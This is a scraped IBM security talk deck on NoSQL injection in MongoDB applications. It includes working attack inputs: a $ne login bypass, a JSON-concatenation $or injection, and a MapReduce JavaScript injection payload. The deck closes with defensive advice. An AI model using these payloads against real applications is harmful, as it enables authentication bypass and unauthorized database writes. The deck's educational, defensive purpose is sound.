NO SQL! NO INJECTION? A talk on the state of NoSQL security IBM - - PowerPoint PPT Presentation

no sql no injection
SMART_READER_LITE
LIVE PREVIEW

NO SQL! NO INJECTION? A talk on the state of NoSQL security IBM - - PowerPoint PPT Presentation

NO SQL! NO INJECTION? A talk on the state of NoSQL security IBM Cyber Security Center of IBM AppScan Excellence Aviv Ron Emanuel Bronshtein Alexandra Shulman-Peleg IBM Security Systems Cyber Center of Excellence AVIV RON Security


slide-1
SLIDE 1

A talk on the state of NoSQL security

NO SQL! NO INJECTION?

IBM Cyber Security Center of Excellence Aviv Ron Alexandra Shulman-Peleg IBM AppScan Emanuel Bronshtein

slide-2
SLIDE 2

IBM Security Systems – Cyber Center of Excellence

AVIV RON

  • Security Researcher for IBM Cyber Security Center of Excellence

@aviv_ron

  • Focus on Application Security in the cloud
  • Ongoing research on new and emerging application vulnerabilities

for IBM AppScan, Application Security Testing

AppScan

slide-3
SLIDE 3

IBM Security Systems – Cyber Center of Excellence

NOT ONLY SQL

According to http://db-engines.com

slide-4
SLIDE 4

IBM Security Systems – Cyber Center of Excellence

It’s not that relational databases are bad but some use cases have better solutions

slide-5
SLIDE 5

IBM Security Systems – Cyber Center of Excellence

We are just saying tables are not the solution for EVERYTHING

slide-6
SLIDE 6

IBM Security Systems – Cyber Center of Excellence

Applications of NoSQL

PERFORMANCE SCALABILITY FLEXIBILITY REAL TIME WEB BIG DATA

Images are under Creative Commons license and are attributed to their creators

slide-7
SLIDE 7

IBM Security Systems – Cyber Center of Excellence

SO… NO SQL, NO WORRIES?

slide-8
SLIDE 8

IBM Security Systems – Cyber Center of Excellence

INTRODUCING NOSQL INJECTIONS

slide-9
SLIDE 9

IBM Security Systems – Cyber Center of Excellence

A LOOK AT MONGODB

db.books.insert({ title: ‘The Hobbit’, author: ‘J.R.R. Tolkien’ }) db.books.find({ title: ‘The Hobbit’, author: ‘J.R.R. Tolkien’ }) array(‘title’ => ‘The hobbit’, ‘author’ => ‘J.R.R. Tolkien’);

slide-10
SLIDE 10

IBM Security Systems – Cyber Center of Excellence

Login Username: Password: username=tolkien&password=hobbit

db->logins->find(array( “username”=>$_POST[“username”], “password”=>$_POST[“password”])); { username: ‘tolkien’, password: ‘hobbit’ }

slide-11
SLIDE 11

IBM Security Systems – Cyber Center of Excellence

Login Username: Password: username[$ne]=1&password[$ne]=1

db->logins->find( array(“username”=>array(“$ne” => 1), “password”=> array(“$ne” => 1)); { username: { $ne: 1 }, password: { $ne: 1 } }

slide-12
SLIDE 12

IBM Security Systems – Cyber Center of Excellence

PHP PARAMETER POLLUTION

db->logins->find( array(“$where”=>”function() { return this.price < 100 }”));

slide-13
SLIDE 13

IBM Security Systems – Cyber Center of Excellence

PHP PARAMETER POLLUTION

db->logins->find( array(“$where”=>”function() { return this.price < 100 }”));

From PHP documentation: “Please make sure that for all special query

  • perators (starting with $) you use single quotes

so that PHP doesn't try to replace "$exists" with the value of the variable $exists.”

slide-14
SLIDE 14

IBM Security Systems – Cyber Center of Excellence

NOT ONLY IN PHP

let’s take a look at JavaScript

slide-15
SLIDE 15

IBM Security Systems – Cyber Center of Excellence

Login Username: Password: username=tolkien&password=hobbit

string query = “{ username: ‘“ + post_username + “’, password: ‘” + post_password + “’ }” { username: ‘tolkien’, password: ‘hobbit’ }

slide-16
SLIDE 16

IBM Security Systems – Cyber Center of Excellence

Login Username: Password: username=tolkien’, $or: [ {}, { ‘a’:’a&password=’ } ], $comment:’hacked’

string query = “{ username: ‘“ + post_username + “’, password: ‘” + post_password + “’ }” { username: ‘tolkien’, $or: [ {}, { ‘a’: ‘a’, password: ‘’ } ], $comment: ‘hacked’ }

slide-17
SLIDE 17

IBM Security Systems – Cyber Center of Excellence

PEOPLE WILL ALWAYS FIND WAYS TO COMPENSATE FOR LIMITATIONS

slide-18
SLIDE 18

IBM Security Systems – Cyber Center of Excellence

NOSQL JAVASCRIPT INJECTION

slide-19
SLIDE 19

IBM Security Systems – Cyber Center of Excellence

MONGODB MAP REDUCE

$map = "function() { for (var i = 0; i < this.items.length; i++) { emit(this.name, this.items[i].$param); } }"; $reduce = "function(name, sum) { return Array.sum(sum); }"; $opt = "{ out: 'totals' }"; $db->execute("db.stores.mapReduce($map, $reduce, $opt);");

slide-20
SLIDE 20

IBM Security Systems – Cyber Center of Excellence

ATTACK ON MAP REDUCE JAVASCRIPT

a);}},function(kv) { return 1; }, { out: 'x' });db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1

slide-21
SLIDE 21

IBM Security Systems – Cyber Center of Excellence

a);}},function(kv) { return 1; }, { out: 'x' });db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1 db.stores.mapReduce(function() { for (var i = 0; i < this.items.length; i++) { emit(this.name, this.items[i].a); } },function(kv) { return 1; }, { out: 'x' }); db.injection.insert({success:1}); return 1;db.stores.mapReduce(function() { { emit(1,1); } }, function(name, sum) { return Array.sum(sum); }, { out: 'totals' });"

ATTACK ON MAP REDUCE JAVASCRIPT

slide-22
SLIDE 22

IBM Security Systems – Cyber Center of Excellence

NOW – LET’S HAVE SOME REST

slide-23
SLIDE 23

IBM Security Systems – Cyber Center of Excellence

CSRF ATTACK ON NOSQL REST API

slide-24
SLIDE 24

IBM Security Systems – Cyber Center of Excellence

slide-25
SLIDE 25

IBM Security Systems – Cyber Center of Excellence

DEFENDING AGAINST RISKS

slide-26
SLIDE 26

IBM Security Systems – Cyber Center of Excellence

  • Injections
  • Encode all user input – do not assemble JSON from strings
  • If possible disable Javascript execution on DB

else be careful when inserting user input to javascript

  • Beware of $ operators in PHP
  • CSRF
  • Check your HTTP API framework for CSRF protection

(NO JSONP, use of random token)

  • General
  • Use automatic tools for application security testing that support NoSQL

such as IBM AppScan

  • Use of role based access control and the principal of least privilege

DEFENSES

NoSQL databases suffer from the same security issues their relational siblings do

slide-27
SLIDE 27

IBM Security Systems – Cyber Center of Excellence

Q&A AND OPEN DISCUSSION

http://xkcd.com/327/